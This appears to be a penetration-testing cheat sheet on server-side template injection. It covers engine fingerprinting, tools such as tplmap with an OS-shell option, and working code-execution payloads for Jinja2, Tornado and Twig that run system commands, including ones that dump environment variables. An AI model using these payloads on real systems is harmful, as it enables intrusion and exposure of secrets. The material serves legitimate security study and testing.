Server-Side Template Injection (SSTI) ¶

Server-Side Template Injection occurs when we can inject code that is parsed by a template engine such as Jinja2 in Python.

You may be able to guess the template engine used from the web server, for instance, if it's Python then it's most likely Jinja.

To guess the template engine, we can try every token (${{<%[%'"}}%\) with expressions such as 7*7 or 7*'7' and look for the output/errors.

• Port Swigger SSTI Decision Tree
• Template Injection Table

There are a few tools you might use:

• TInjA (0.2k ⭐)
• sstimap (0.6k ⭐)
• tplmap (3.6k ⭐, 2022 🪦)

$ tplmap -u 'http://example.com:80/*'
$ tplmap -u 'http://example.com:80' -d 'xxx=yyy'
$ tplmap -u 'http://example.com:80' -d 'xxx=yyy' --os-shell

Jinja2 Template Engine — Python ¶

Refer to JinJa2 Notes if needed.

• Basic Fingerprint PoC: {{ "PoC"|e }}
• Test if debug is enabled: {% debug %}
• Try to print the context {{ self._TemplateReference__context }}
• Then, you might be able to perform code injection:

{{ cycler.__init__.__globals__.os.system('ls') }}
{{ cycler.__init__.__globals__.os.popen("ls -1a").read() }}
{{ lipsum.__globals__.os.popen('ls -1a').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').system('ls') }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls -1a').read() }}

⚠️ Before, we were using longer payloads as explained here.

Tornado Web Framework Templates — Python ¶

Link to the template section of the official documentation.

{% import os %}{{os.popen('whoami').read()}}

Twig Template Engine — PHP ¶

Link to the official documentation. GitHub (8.0k ⭐).

• Basic Fingerprint PoC: {{_self}}, {{_self.env}}
• Random payloads:

{{_self.env.display("TEST")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}

📚 Both exec and system are PHP functions.

• {{ self.__init__.__globals__.__builtins__.__import__('os') }}